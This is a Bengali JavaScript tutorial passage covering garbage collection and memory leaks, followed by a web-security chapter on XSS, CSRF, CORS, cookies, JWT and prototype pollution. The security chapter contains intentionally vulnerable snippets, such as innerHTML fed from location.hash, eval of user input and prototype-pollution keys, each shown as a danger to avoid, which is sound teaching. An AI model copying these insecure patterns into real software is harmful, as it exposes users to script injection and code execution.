আগে পুরনো কিছু garbage collection model-এ circular reference নিয়ে সমস্যা ছিল। কিন্তু modern JavaScript garbage collectors শুধু reference count-এর ওপর নির্ভর করে না; reachability-based tracing techniques ব্যবহার করে। উদাহরণ:
let a = {};
let b = {};
a.other = b;
b.other = a;
এখন:
a → b ↑ ↓ └───┘
এটি circular reference। পরে:
a = null;
b = null;
যদি আর কোনো root reference না থাকে:
Root X
পুরো cycle unreachable হতে পারে এবং garbage collection-এর জন্য eligible হতে পারে।
যদি শুধু reference count ব্যবহার করা হতো:
A → B B → A
তাহলে:
A count = 1 B count = 1
দেখে মনে হতে পারে তারা এখনও alive। কিন্তু Root থেকে কেউ তাদের access করতে পারছে না। তাই modern GC reachability-based tracing অনেক বেশি useful।
Memory Leak হলো এমন situation যেখানে program-এর আর প্রয়োজন নেই এমন memory references-এর কারণে memory unnecessarily retained থাকে। সহজভাবে:
Memory ব্যবহার হচ্ছে
↓
Data আর দরকার নেই
↓
কিন্তু reference রয়ে গেছে
↓
GC reclaim করতে পারছে না
↓
Memory usage বাড়ছে
window.myData = [];
function addData(data) {
window.myData.push(data);
}
যদি application continuously বড় data যোগ করে:
myData ↓ Huge Array ↓ More Data ↓ More Data
এবং application-এর আর প্রয়োজন না থাকলেও global reference ধরে রাখে, memory বাড়তে পারে।
একটি common frontend problem:
const button = document.querySelector("#button");
function handleClick() {
console.log("Clicked");
}
button.addEventListener("click", handleClick);
যদি dynamically created component পরে remove করা হয় কিন্তু listener lifecycle ঠিকভাবে manage না করা হয়, কিছু situation-এ unnecessary references retain হতে পারে। বিশেষ করে SPA/framework applications-এ lifecycle management গুরুত্বপূর্ণ।
যদি listener আর দরকার না হয়:
button.removeEventListener("click", handleClick);
Important:
button.addEventListener("click", handleClick);
এর পরে remove করতে হলে একই function reference ব্যবহার করা ভালো:
button.removeEventListener("click", handleClick);
button.addEventListener("click", () => {
console.log("Clicked");
});
পরে:
button.removeEventListener("click", () => {
console.log("Clicked");
});
এটা listener remove করবে না। কারণ দুইটা function আলাদা।
First function ≠ Second function
Better:
function handleClick() {
console.log("Clicked");
}
button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);
Frontend-এ একটি গুরুত্বপূর্ণ memory issue: > Detached DOM node ধরো:
const div = document.createElement("div");
const data = {
name: "Ripon"
};
div.data = data;
তারপর DOM থেকে node remove করলে:
div.remove();
কিন্তু যদি অন্য কোথাও div-এর reference থেকে যায়:
someGlobalReference = div;
তাহলে node এবং তার associated references memory-তে retained থাকতে পারে।
JavaScript Reference
↓
DOM Node
↓
More Data
DOM থেকে remove করলেই সব memory সঙ্গে সঙ্গে free হবে না। যদি JavaScript থেকে এখনও reference থাকে:
JS Reference
↓
DOM Node
তাহলে সেটা reachable থাকতে পারে।
Chapter 26-এ closure দেখেছিলাম। Closure outer variables retain করতে পারে।
function createCounter() {
let count = 0;
return function () {
count++;
return count;
};
}
const counter = createCounter();
এখন counter function-এর মাধ্যমে:
count
accessible। Conceptually:
counter ↓ closure ↓ count
তাই closure-এর lifetime বুঝতে memory concepts গুরুত্বপূর্ণ।
Closure নিজে memory leak নয়। কিন্তু closure যদি accidentally বড় object/reference ধরে রাখে এবং সেটা দীর্ঘসময় reachable থাকে, তাহলে unnecessary memory retention হতে পারে। উদাহরণ:
function createHandler() {
const hugeData = new Array(1000000).fill("data");
return function () {
console.log(hugeData.length);
};
}
const handler = createHandler();
handler যতক্ষণ hugeData-কে closure-এর মাধ্যমে retain করে, ততক্ষণ সেই data reachable থাকতে পারে।
function test() {
const data = {
name: "Ripon"
};
console.log(data);
}
test();
test() execution শেষ হলে সাধারণভাবে data আর reachable না থাকলে তার associated memory GC-এর জন্য eligible হতে পারে।
function test() {
const data = {
name: "Ripon"
};
return function () {
return data;
};
}
const getData = test();
এখন:
getData ↓ closure ↓ data
তাই test() শেষ হলেও data retain হতে পারে।
WeakMap কেন?Chapter 12-এ আমরা WeakMap দেখেছি। Memory management-এর দিক থেকে WeakMap গুরুত্বপূর্ণ।
const weakMap = new WeakMap();
let user = {
name: "Ripon"
};
weakMap.set(user, "Private Data");
যদি:
user = null;
এবং object-এর আর কোনো strong reference না থাকে, WeakMap সেই object-কে এমনভাবে retain করে না যাতে garbage collection বাধ্যতামূলকভাবে বন্ধ হয়ে যায়।
Normal Map:
Map ↓ Object ↓ Strong reference
WeakMap:
WeakMap ↓ Object ↓ Weak association
তাই object অন্য কোথাও unreachable হলে WeakMap-এর association garbage collection-এর সাথে disappear হতে পারে।
একই ধারণা WeakSet-এর ক্ষেত্রেও।
const weakSet = new WeakSet();
let user = {
name: "Ripon"
};
weakSet.add(user);
user = null;
যদি আর কোনো strong reference না থাকে, object garbage collection-এর জন্য eligible হতে পারে।
একটি practical example:
const metadata = new WeakMap();
function setMetadata(element, data) {
metadata.set(element, data);
}
DOM element:
const button = document.querySelector("button");
setMetadata(button, {
clicked: true
});
যদি button পরে DOM এবং application-এর অন্য strong references থেকে চলে যায়, WeakMap-এর association object lifetime-এর সাথে automatically disappear করতে পারে।
Caching performance বাড়ায়:
const cache = new Map();
cache.set("user:1", {
name: "Ripon"
});
কিন্তু unlimited cache:
Cache ↓ Data ↓ More Data ↓ More Data ↓ Huge Memory
হতে পারে। তাই cache design করতে হয়:
const data = [];
setInterval(() => {
data.push(new Array(10000).fill("data"));
}, 100);
এখানে array ক্রমাগত বড় হচ্ছে।
data ↓ 10000 ↓ 20000 ↓ 30000 ↓ ...
Memory usage continuously বাড়তে পারে।
দুটো এক নয়।
Program legitimately বড় data ব্যবহার করছে।
Program-এর প্রয়োজন না থাকা data/reference unnecessarily retained হচ্ছে। Example:
High memory:
Large image processing
vs
Leak:
Old objects never released
Garbage Collection automatic হলেও completely free নয়। GC-এর জন্য:
CPU + Memory + Time
ব্যবহার হতে পারে। যদি application continuously huge temporary objects তৈরি করে:
function process() {
const huge = new Array(1000000).fill(0);
}
অনেক repeated allocation হলে GC pressure বাড়তে পারে।
ধরো:
for (let i = 0; i < 1000000; i++) {
const obj = {
value: i
};
}
অনেক temporary object তৈরি হচ্ছে। এগুলো পরে unreachable হলে GC reclaim করতে পারে। কিন্তু excessive allocation performance-এর ওপর চাপ তৈরি করতে পারে।
প্রয়োজনের বাইরে বারবার object তৈরি করা avoid করা যায়। Bad pattern:
function calculate(user) {
return {
name: user.name,
age: user.age
};
}
যদি millions of unnecessary temporary objects তৈরি হয়, performance impact হতে পারে। তবে premature optimization করা উচিত নয়। প্রথমে: > Correctness → Measure → Optimize
Unnecessary global variables avoid করো।
Event listeners cleanup করো।
Large caches unlimited রাখবে না।
Unused references release করো।
Huge objects unnecessarily closure-এ retain করো না।
DOM references lifecycle-এর সাথে manage করো।
Huge arrays continuously grow করতে দিও না।
Performance problem হলে আগে measure করো।
Browser memory সমস্যা investigate করতে Chrome DevTools ব্যবহার করা যায়। Chrome:
F12
তারপর:
Memory
Tab। এখানে সাধারণত:
এর মতো tools পাওয়া যায়।
Heap Snapshot দিয়ে JavaScript heap-এর object allocation/retention investigate করা যায়। Conceptually:
Before Action
↓
Heap Snapshot
↓
Perform Action
↓
Cleanup
↓
Another Snapshot
↓
Compare
যদি object বারবার retained হতে থাকে, leak investigation করা যায়।
Memory debugging-এ একটি গুরুত্বপূর্ণ term: > Retainer একটি object কেন memory-তে এখনও আছে? কোন reference সেটাকে ধরে রেখেছে? উদাহরণ:
Global ↓ cache ↓ user ↓ largeObject
এখানে cache indirectly largeObject-কে retain করছে।
এটা predict করে exact time বলা যায় না। তুমি শুধু বুঝবে:
Object unreachable ↓ Eligible for GC ↓ GC eventually reclaims
Eligible ≠ Immediately Collected এই distinction interview-এ গুরুত্বপূর্ণ।
WeakRefJavaScript-এ advanced feature:
WeakRef
এটি object-এর weak reference তৈরি করতে পারে। Example:
let user = {
name: "Ripon"
};
const weakRef = new WeakRef(user);
পরে:
const value = weakRef.deref();
object এখনও available থাকলে object পাওয়া যেতে পারে। কিন্তু object garbage collected হয়ে গেলে:
weakRef.deref();
undefined দিতে পারে।
WeakRef advanced use case-এর জন্য। কারণ garbage collection timing deterministic নয়। তাই normal application logic এভাবে design করা উচিত নয়:
"GC কখন object remove করবে?"
এর ওপর নির্ভর করে।
FinalizationRegistryআরেকটি advanced feature:
FinalizationRegistry
এটি object garbage-collected হওয়ার পরে cleanup-related notification-এর জন্য ব্যবহার করা যেতে পারে। কিন্তু এটাও: > deterministic cleanup mechanism নয়। Critical resource cleanup-এর জন্য এর ওপর নির্ভর করা উচিত নয়।
খুব গুরুত্বপূর্ণ distinction। Garbage Collection memory reclaim করে। কিন্তু file/network/socket/database resource cleanup আলাদা বিষয় হতে পারে। উদাহরণ:
Memory cleanup ≠ Business resource cleanup
Browser frontend-এ:
event listener subscription timer WebSocket observer
এগুলোর lifecycle explicitভাবে manage করা লাগতে পারে।
ধরো:
const id = setInterval(() => {
console.log("Running...");
}, 1000);
যখন আর দরকার নেই:
clearInterval(id);
React-এর মতো framework-এ component unmount হলে এই ধরনের cleanup গুরুত্বপূর্ণ।
function handleClick() {
console.log("Clicked");
}
button.addEventListener("click", handleClick);
// later
button.removeEventListener("click", handleClick);
যদি তুমি observer ব্যবহার করো:
const observer = new MutationObserver(() => {
console.log("Changed");
});
observer.observe(element, {
childList: true
});
আর প্রয়োজন না হলে:
observer.disconnect();
যেমন:
const socket = new WebSocket("wss://example.com");
আর প্রয়োজন না হলে appropriate lifecycle অনুযায়ী:
socket.close();
এগুলো memory management-এর পাশাপাশি resource lifecycle management।
React application-এ common cleanup:
useEffect(() => {
const id = setInterval(() => {
console.log("Running");
}, 1000);
return () => {
clearInterval(id);
};
}, []);
এখানে:
Component Mount
↓
Timer Start
↓
Component Unmount
↓
Cleanup
↓
clearInterval()
এটা unnecessary work এবং retained references কমাতে সাহায্য করে।
Problematic pattern:
useEffect(() => {
const id = setInterval(() => {
fetchData();
}, 1000);
}, []);
যদি effect lifecycle-এর সাথে timer cleanup না করা হয়, component lifecycle অনুযায়ী unnecessary interval running/retention হতে পারে। Better:
useEffect(() => {
const id = setInterval(() => {
fetchData();
}, 1000);
return () => {
clearInterval(id);
};
}, []);
ধরো তোমার একটি warehouse আছে।
Warehouse = Memory
Products = Objects
Warehouse Manager = Garbage Collector
Inventory List = References
নতুন product এলো:
Allocate
Product ব্যবহার হচ্ছে:
Use
Product আর প্রয়োজন নেই এবং inventory-তেও নেই:
Unreachable
Manager:
Garbage Collector
পুরনো product সরিয়ে জায়গা free করে। কিন্তু inventory list-এ product-এর reference থাকলে:
Reference
↓
Product
manager সেটাকে ফেলে দিতে পারবে না। এটাই memory retention-এর basic idea।
let user = {
name: "Ripon"
};
let admin = user;
user = null;
Object কি garbage collected হবে?
না, এই মুহূর্তে necessarily নয়। কারণ:
admin ↓ Object
এখনও reference আছে। তাই object reachable।
let user = {
name: "Ripon"
};
let admin = user;
user = null;
admin = null;
এখন যদি আর কোনো reference না থাকে:
Object X Root
Object unreachable হতে পারে এবং garbage collection-এর জন্য eligible হবে।
function create() {
const secret = "Hello";
return function () {
console.log(secret);
};
}
const fn = create();
create() execution শেষ হলেও secret কেন থাকতে পারে? কারণ:
fn ↓ Closure ↓ secret
fn যতক্ষণ reachable এবং closure secret ব্যবহার করতে পারে, secret retained হতে পারে।
> Garbage Collector দেখে object reachable কি না; তুমি object আর ব্যবহার না করলেও যদি কোনো active reference সেটাকে ধরে রাখে, তাহলে GC সেটাকে reclaim করতে পারবে না।
যদি application-এর memory ক্রমাগত বাড়তে থাকে, check করো:
চ্যাপ্টার ৩০ থেকে প্রতিটি সফটওয়্যার ইঞ্জিনিয়ারের যেসব বিষয় মুখস্থ নয়, সরাসরি মস্তিষ্কে গেঁথে থাকা বাধ্যতামূলক:
মেমরি ম্যানেজমেন্টের সর্বাধিক ব্যবহৃত টার্মগুলোর তাৎক্ষণিক অর্থ ও ভূমিকা:
| Term | Meaning |
|---|---|
| Memory Allocation | Data-এর জন্য memory নেওয়া |
| Reference | Object-এর দিকে reference |
| Reachable | Root থেকে object-এ পৌঁছানো যায় |
| Unreachable | আর কোনো active path নেই |
| Garbage Collector | Unreachable memory reclaim করে |
| Mark-and-Sweep | Reachable mark, unreachable reclaim |
| Memory Leak | প্রয়োজনহীন data retained থাকা |
| Closure | Outer variables retain করতে পারে |
| Detached DOM | DOM থেকে remove হলেও reference retained |
| WeakMap | Weakly held object-key association |
| WeakSet | Weakly held object collection |
| WeakRef | Weak reference |
| Heap Snapshot | Memory analysis tool |
| Retainer | কোন reference object-কে ধরে রেখেছে |
মেমরি ম্যানেজমেন্ট ও রিচেবিলিটির খুঁটিনাটি যাচাই করার জন্য নিচে ৬টি প্রোডাকশন ইন্টারভিউ চ্যালেঞ্জের পূর্ণাঙ্গ ব্যাখ্যাসহ সমাধান দেওয়া হলো:
❓ Object কি garbage collection-এর জন্য eligible হতে পারে? কেন?
let user = {
name: "Ripon"
};
user = null;
Eligible for Garbage Collection
❓ নিচের কোডটি রান করলে আউটপুট কী আসবে এবং মেমরিতে কী ঘটবে?
const a = {
value: 10
};
const b = a;
b.value = 20;
console.log(a.value);
20
❓ নিচের কোডে user = null করার পরও অবজেক্ট কি reachable থাকবে?
let user = {
name: "Ripon"
};
let admin = user;
user = null;
Object remains Reachable (Retained)
❓ ঠিক কোন লাইনের এক্সিকিউশনের পর অবজেক্টটি GC-এর জন্য eligible হবে?
let user = {
name: "Ripon"
};
let admin = user;
user = null;
admin = null; // <--- Critical Transition Point
Eligible right after 'admin = null;'
❓ createCounter() এর এক্সিকিউশন শেষ হওয়ার পরও 'count' ভেরিয়েবল মেমরিতে কীভাবে বাঁচে?
function createCounter() {
let count = 0;
return function () {
count++;
return count;
};
}
const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2
1 2
❓ নিচের কোডে সম্ভাব্য Memory Leak কী এবং কীভাবে ক্লিনআপ করতে হবে?
// ❌ Leaky Implementation:
function start() {
setInterval(() => {
console.log("Running...");
}, 1000);
}
start();
// ✅ Production Clean Lifecycle Pattern:
let timerId = null;
function startService() {
if (timerId !== null) return;
timerId = setInterval(() => {
console.log("Service pulse active...");
}, 1000);
}
function stopService() {
if (timerId !== null) {
clearInterval(timerId);
timerId = null;
console.log("Timer destroyed & memory released cleanly.");
}
}
Service pulse active... Timer destroyed & memory released cleanly.
JavaScript রানটাইমে মেমরি রূপান্তর, রিচেবিলিটি চেক এবং গার্বেজ কালেকশন প্রবাহের পূর্ণাঙ্গ মানসিক মানচিত্র:
JavaScript Memory
│
┌───────────┴───────────┐
▼ ▼
Stack Heap
│ │
Execution Objects/Data
│ │
└───────────┬───────────┘
▼
References
│
▼
Reachability
│
┌──────────┴──────────┐
▼ ▼
Reachable Unreachable
│ │
│ ▼
│ GC Eligible
│ │
│ ▼
│ Garbage Collector
│ │
│ ▼
│ Memory Reclaimed
│
▼
Memory Retained
JavaScript দিয়ে শুধু ওয়েবসাইট বানালেই হবে না—Website-এর Data, User Account, API, Authentication এবং Browser Interaction কীভাবে নিরাপদ রাখা যায় সেটাও একজন পেশাদার ইঞ্জিনিয়ারের জানা বাধ্যতামূলক। এই চ্যাপ্টারে আমরা XSS, CSRF, CORS, CSP, Secure Cookies, JWT, Prototype Pollution, Clickjacking, HTTPS এবং আধুনিক মাল্টি-লেয়ার ডিফেন্স সিস্টেম গভীরভাবে শিখব।
Web Security হলো website/web application-এর:
এসবকে unauthorized access, manipulation এবং malicious input থেকে নিরাপদ রাখা। একটি secure application:
User ↓ Frontend ↓ API ↓ Backend ↓ Database
প্রতিটি layer-এই security দরকার।
Web security বুঝতে এই ৩টি concept খুব গুরুত্বপূর্ণ।
যে data যার দেখার কথা নয় সে যেন দেখতে না পারে। Example:
User A ↓ User A's private profile
User B যেন সেটা দেখতে না পারে।
Data unauthorizedভাবে পরিবর্তন করা যাবে না। Example:
Bank balance ৳10,000
কেউ unauthorizedভাবে:
৳10,000 → ৳100,000
করতে পারবে না।
System প্রয়োজনের সময় available থাকবে।
Website
↓
Users can access
দুটো খুব ভালোভাবে বুঝবে।
Example:
Email + Password
Login করার পর:
You are Ripon
Example:
Student → View own result Teacher → Enter marks Admin → Manage users
অর্থাৎ:
Authentication = Who are you? Authorization = What are you allowed to do?
User input expected format-এ আছে কি না check করা।
const age = 23;
if (age < 18) {
console.log("Not allowed");
}
Form:
<input type="email" required>
Validation হতে পারে:
ধরো:
<input type="number" min="18">
Browser UI-তে user 18-এর নিচে value দিতে পারছে না। কিন্তু attacker browser-এর বাইরে সরাসরি API call করতে পারে। তাই:
Frontend validation + Backend validation
দুটো দরকার।
দুটো এক নয়।
Input acceptable কি না check করে।
Age = 25 ✓ Valid
Age = "hello"
✗ Invalid
Input-এর potentially dangerous অংশ remove/transform করার চেষ্টা করে। উদাহরণ:
User-provided HTML ↓ Sanitize ↓ Safer HTML
XSS হলো এমন vulnerability যেখানে attacker-controlled content webpage-এর context-এ script হিসেবে execute হওয়ার সুযোগ পায়। ধরো application user-এর comment HTML হিসেবে সরাসরি render করে। Dangerous pattern:
element.innerHTML = userInput;
যদি userInput untrusted হয়, security problem হতে পারে।
ধরো:
User Input ↓ Website blindly trusts it ↓ Browser interprets it as HTML/Script ↓ Unexpected code execution
এটাই XSS-এর core concept।
সাধারণভাবে:
Malicious input server/database-এ save হয়।
Attacker ↓ Comment ↓ Database ↓ Victim opens page ↓ Payload executes
Input request-এর মাধ্যমে আসে এবং response-এ unsafeভাবে reflect হয়।
Request ↓ Server ↓ Response ↓ Browser
Client-side JavaScript unsafeভাবে DOM manipulate করার কারণে vulnerability তৈরি হয়। উদাহরণ:
element.innerHTML = location.hash;
এখানে untrusted URL-derived data DOM-এ unsafeভাবে বসানো হচ্ছে।
বিশেষভাবে সতর্ক:
innerHTML
outerHTML
insertAdjacentHTML()
document.write()
সবসময় এগুলো vulnerable নয়, কিন্তু untrusted input নিয়ে ব্যবহার করলে risk তৈরি হতে পারে।
innerHTML বনাম textContentধরো user input:
const input = userInput;
Unsafe pattern:
element.innerHTML = input;
Text হিসেবে দেখাতে চাইলে:
element.textContent = input;
textContent HTML হিসেবে interpret না করে text হিসেবে রাখে। Example:
element.textContent = "<h1>Hello</h1>";
Browser দেখাবে:
<h1>Hello</h1>
HTML heading বানাবে না।
Untrusted input HTML হিসেবে render করো না। Prefer:
element.textContent = userInput;
Framework-এর safe rendering mechanism ব্যবহার করো। React:
<p>{userInput}</p>
সাধারণভাবে React text interpolation escape করে। কিন্তু:
<div dangerouslySetInnerHTML={{ __html: userInput }} />
ব্যবহারের সময় trusted/sanitized HTML নিশ্চিত করতে হবে।
যদি application-এ user-provided rich HTML allow করতে হয়, তখন proper HTML sanitizer দরকার হতে পারে। Concept:
User HTML ↓ Sanitizer ↓ Allowed HTML ↓ Render
নিজে simplistic regex দিয়ে HTML sanitizer বানানো নিরাপদ approach নয়।
CSP browser-কে বলে:
CSP সাধারণত HTTP response header-এর মাধ্যমে দেওয়া হয়। Conceptual example:
Content-Security-Policy: default-src 'self'
মানে default resource policy নিজের origin-এর মধ্যে সীমিত রাখার একটি baseline তৈরি হয়।
যদি কোনো XSS vulnerability somehow থেকে যায়, strong CSP অনেক ক্ষেত্রে attack-এর impact কমাতে সাহায্য করতে পারে। Defense layers:
Input Handling
+
Safe DOM APIs
+
Framework Escaping
+
CSP
একটি security control-এর ওপর পুরোপুরি নির্ভর করা উচিত নয়।
CSRF হলো এমন attack যেখানে victim-এর authenticated browser session ব্যবহার করে unwanted action trigger করার চেষ্টা করা হয়। ধরো:
User ↓ Logged into bank.com
Browser-এ authentication cookie আছে। তারপর user malicious website visit করল।
Malicious Site ↓ Tries to cause request ↓ Bank application
যদি application যথেষ্ট protection না দেয়, unwanted state-changing request ঘটতে পারে।
Victim is authenticated
↓
Browser has credentials
↓
Attacker causes unwanted request
↓
Server may trust it
Common defenses:
Server একটি unpredictable token দেয়।
Form ↓ CSRF Token ↓ Server verifies
Cookie configuration:
SameSite=Lax
বা প্রয়োজন অনুযায়ী:
SameSite=Strict
cross-site cookie behavior সীমিত করতে সাহায্য করে।
Sensitive request-এর ক্ষেত্রে request origin যাচাই করা যায়।
| বিষয় | XSS | CSRF | | ------------ | --------------------------- | ----------------------------------- | | মূল সমস্যা | Untrusted script execution | Unwanted authenticated action | | Target | Browser/page context | Server-side state-changing action | | Common cause | Unsafe output handling | Weak request validation | | Defense | Escaping, sanitization, CSP | CSRF token, SameSite, Origin checks |
CORS = Cross-Origin Resource Sharing Browser-এর same-origin policy cross-origin requests-এর access control-এর একটি গুরুত্বপূর্ণ অংশ। Example:
Frontend: https://example.com API: https://api.example.com
এগুলো origin-এর দিক থেকে আলাদা, কারণ host আলাদা।
একটি origin সাধারণত:
scheme + host + port
দিয়ে নির্ধারিত হয়। উদাহরণ:
https://example.com
এখানে:
scheme = https
host = example.com
port = default HTTPS port
এইগুলো পরিবর্তিত হলে origin আলাদা হতে পারে।
Browser security-এর গুরুত্বপূর্ণ concept:
এটা user data protect করতে সাহায্য করে।
Frontend:
https://frontend.com
API:
https://api.example.com
Server response-এ বলতে পারে:
Access-Control-Allow-Origin: https://frontend.com
এতে browser বুঝতে পারে নির্দিষ্ট origin-কে response access করার অনুমতি দেওয়া হয়েছে।
খুব গুরুত্বপূর্ণ:
Server-to-server request-এ browser-এর CORS restriction একইভাবে apply হয় না। তাই Postman-এ request কাজ করলেও browser-এ CORS error দেখা যেতে পারে।
Frontend:
fetch("https://api.example.com/users");
Server যথাযথ CORS response না দিলে browser console-এ CORS-related error দেখা যেতে পারে। সমাধান সাধারণত:
Frontend-এ random workaround নয় ↓ Server/API-এর CORS policy configure
mode: "no-cors" কি Solution?fetch(url, {
mode: "no-cors"
});
এটা সাধারণ API response access করার universal solution নয়। Response অনেক ক্ষেত্রে opaque হবে। তাই:
Cookie browser-এ small piece of data store করে। Example:
Set-Cookie: sessionId=abc123
Browser পরে appropriate request-এ cookie পাঠাতে পারে।
Sensitive authentication cookie-তে গুরুত্বপূর্ণ flags:
HttpOnlyHttpOnly
JavaScript দিয়ে সাধারণভাবে cookie read করা যায় না। এটি XSS-এর ক্ষেত্রে session cookie theft-এর কিছু risk কমাতে সাহায্য করে।
SecureSecure
Cookie HTTPS connection-এর মাধ্যমে পাঠানোর জন্য ব্যবহার করা হয়।
SameSiteSameSite=Lax
cross-site sending behavior সীমিত করতে সাহায্য করে।
Conceptual:
Set-Cookie:
sessionId=abc123;
HttpOnly;
Secure;
SameSite=Lax
এটি authentication/session cookies-এর জন্য common security-oriented configuration-এর একটি example। Actual application requirement অনুযায়ী settings নির্বাচন করতে হয়।
localStorage.setItem("token", token);
Convenient হলেও sensitive authentication token রাখার ক্ষেত্রে security trade-off আছে। কারণ JavaScript access করতে পারে:
localStorage.getItem("token");
যদি XSS vulnerability থাকে, malicious script potentially token read করতে পারে।
| বিষয় | localStorage | HttpOnly Cookie | | --------------------------- | ------------ | -------------------------- | | JS access | Yes | No | | XSS token theft risk | বেশি | কমাতে সাহায্য করে | | Automatically request-এ যায় | No | Appropriate cookie হলে Yes | | CSRF consideration | আলাদা | গুরুত্বপূর্ণ | | Sensitive session design | সাবধানে | অনেক ক্ষেত্রে useful | কোনটি ব্যবহার করবে সেটা application architecture-এর ওপর নির্ভর করে।
JWT:
একটি token format যা claims বহন করতে পারে। Structure:
Header.Payload.Signature
Example:
xxxxx.yyyyy.zzzzz
Header . Payload . Signature
Algorithm/type information।
Claims।
Token integrity verify করতে সাহায্য করে।
খুব গুরুত্বপূর্ণ:
তাই sensitive secret data payload-এর মধ্যে রাখবে না। যেমন:
{
password: "123456"
}
এভাবে sensitive information JWT payload-এ রাখা উচিত নয়।
JWT ব্যবহারে:
গুরুত্বপূর্ণ।
eval() কেন Dangerous?JavaScript:
eval(userInput);
খুব dangerous pattern। কারণ user-controlled string code হিসেবে execute হতে পারে। Example:
const input = userInput;
eval(input);
এখানে untrusted input JavaScript code হিসেবে execute করার সুযোগ পেতে পারে।
eval() Avoid করোসাধারণ application development-এ:
eval()
প্রয়োজন না হলে ব্যবহার করো না। আরও problematic হতে পারে:
new Function(userInput);
কারণ এটাও dynamically code execution করতে পারে।
এই pattern:
element.innerHTML = location.search;
বা:
element.innerHTML = location.hash;
dangerous হতে পারে। কারণ:
URL ↓ Untrusted Input ↓ innerHTML ↓ HTML interpretation
Instead:
element.textContent = location.hash;
যদি HTML rendering genuinely দরকার হয়:
Input ↓ Trusted/controlled processing ↓ Proper sanitizer ↓ Safe rendering
JavaScript object-এর prototype system powerful। কিন্তু unsafe object merging/parsing pattern থেকে prototype pollution vulnerability তৈরি হতে পারে। Concept:
Untrusted Input ↓ Object merge/update ↓ Prototype modified ↓ Unexpected behavior
Dangerous deep merge logic যদি attacker-controlled keys blindly process করে:
merge(target, userInput);
এবং prototype-related keys properly handle না করে, application-এর object behavior unexpectedly পরিবর্তিত হতে পারে। বিশেষ করে historical patterns-এর মধ্যে:
__proto__ constructor prototype
এর মতো property paths গুরুত্বপূর্ণ।
Untrusted object blindly merge করো না।
Input allowlist করো।
Modern, well-maintained libraries ব্যবহার করো।
Dependencies updated রাখো।
Prototype-sensitive keys handle করো।
Object.create(null)Prototype pollution-related design-এর কিছু ক্ষেত্রে:
const data = Object.create(null);
এতে normal Object.prototype chain থাকে না। তবে এটা সব problem-এর universal solution নয়।
Clickjacking হলো user-কে এমন UI interaction করানো যেখানে visible interface-এর আড়ালে বা deceptive framing-এর মাধ্যমে অন্য action trigger হতে পারে। Defense:
Content-Security-Policy:
frame-ancestors 'self'
এবং পুরনো/compatibility context-এ:
X-Frame-Options
ব্যবহার করা হতে পারে।
HTTP:
http://
HTTPS:
https://
HTTPS TLS ব্যবহার করে communication secure করে। এটি:
এর জন্য গুরুত্বপূর্ণ।
HTTPS থাকলেই application secure হয়ে যায় না। HTTPS:
Transport security
দেয়। কিন্তু:
XSS SQL Injection Broken Authorization Bad Authentication CSRF
এসব automatically solve করে না।
Backend যদি user input সরাসরি SQL query-তে concatenate করে:
SQL query
+
Untrusted input
তাহলে injection vulnerability হতে পারে। Better:
Parameterized Query Prepared Statement ORM নিরাপদভাবে ব্যবহার
Frontend JavaScript validation SQL injection prevention-এর substitute নয়।
Frontend:
fetch("/api/users");
API secure করতে:
Authentication Authorization Input validation Rate limiting HTTPS CORS policy Error handling Logging
দরকার হতে পারে।
Dangerous assumption:
if (isAdmin) {
showDeleteButton();
}
UI hide/show করা authorization নয়। Attacker manually API call করতে পারে। Backend-এ:
DELETE /api/users/123
↓
Authentication
↓
Authorization
↓
Allowed?
↓
Delete
check করতে হবে।
Frontend:
if (user.role === "admin") {
showAdminPanel();
}
এটা UX control। কিন্তু backend-এও:
Is authenticated? + Is authorized?
verify করতে হবে।
Bad:
Login failed because password for admin@example.com is wrong.
এতে information leak হতে পারে। Better generic response:
Invalid email or password.
Backend logs-এ বিস্তারিত technical information রাখা যেতে পারে।
Production-এ এমন error response avoid করো:
res.json({
databasePassword: password,
stackTrace: error.stack
});
User-facing response:
Something went wrong.
Server-side logs:
Detailed technical information
একজন client যদি continuously:
1000 requests/sec
পাঠায়, API overload হতে পারে। Rate limiting:
Client ↓ Request count ↓ Limit exceeded? ↓ 429 Too Many Requests
ধরনের mechanism ব্যবহার করতে পারে।
Password কখনো plaintext হিসেবে database-এ রাখবে না। Bad:
password = "mypassword123"
Database-এ সরাসরি রাখা। Better:
Password ↓ Strong Password Hashing ↓ Database
Modern password hashing algorithms যেমন:
Argon2
bcrypt
scrypt
use case অনুযায়ী ব্যবহার করা হয়।
Hashing:
Password
↓
Hash
Encryption:
Data ↓ Encrypted Data ↓ Key দিয়ে decrypt
Password storage-এর ক্ষেত্রে সাধারণত password hashing ব্যবহার করা হয়, reversible encryption নয়।
Bad:
const API_SECRET = "super-secret-key";
Frontend application-এ থাকা secret সত্যিকার অর্থে secret নয়। কারণ browser user-এর কাছে code/data পাঠানো হয়।
.env কি সব Secret বাঁচায়?Frontend build tools-এ environment variables থাকলেও সব variable secret নয়। উদাহরণ:
VITE_API_URL
frontend-এ expose করলে সেটা secret নয়। যে value browser-এ bundle হয়ে যায়:
Common security-related headers:
Content-Security-Policy Strict-Transport-Security X-Content-Type-Options Referrer-Policy Permissions-Policy
এছাড়া framing protection-এর জন্য:
X-Frame-Options
ব্যবহার করা হতে পারে। Configuration application অনুযায়ী করতে হয়।
HTTP Strict Transport Security Header:
Strict-Transport-Security: max-age=31536000
Browser-কে future requests-এর ক্ষেত্রে HTTPS ব্যবহার করতে নির্দেশ দিতে সাহায্য করে। Production deployment-এ carefully configure করতে হয়।
X-Content-Type-OptionsCommon value:
X-Content-Type-Options: nosniff
Browser-এর MIME type sniffing behavior সীমিত করতে সাহায্য করে।
একটি secure application সাধারণত:
HTTPS + Authentication + Authorization + Validation + Safe Output + CSP + Secure Cookies + CORS + Rate Limiting + Secure Dependencies + Logging
ব্যবহার করে। এটাকে বলা যায়:
তুমি যদি:
npm install package-name
করো, third-party dependency তোমার application-এর security-এর অংশ হয়ে যায়। তাই:
npm audit
দিয়ে known vulnerabilities check করা যায়। এছাড়া:
npm outdated
দিয়ে outdated packages দেখা যায়। তবে audit-এর output blindly apply না করে dependency update-এর impact যাচাই করতে হবে।
তোমার application:
Your Code
+
npm Packages
+
Build Tools
+
CI/CD
সব মিলেই software supply chain। তাই:
গুরুত্বপূর্ণ।
const input = location.search;
document.querySelector("#output").innerHTML = input;
const input = location.search;
document.querySelector("#output").textContent = input;
Frontend:
async function getProfile() {
const response = await fetch("/api/profile", {
credentials: "include"
});
if (!response.ok) {
throw new Error("Request failed");
}
return response.json();
}
Backend-এর responsibility:
Authenticate
↓
Authorize
↓
Validate
↓
Process
↓
Return safe response
এটা খুব গুরুত্বপূর্ণ। CORS বলে:
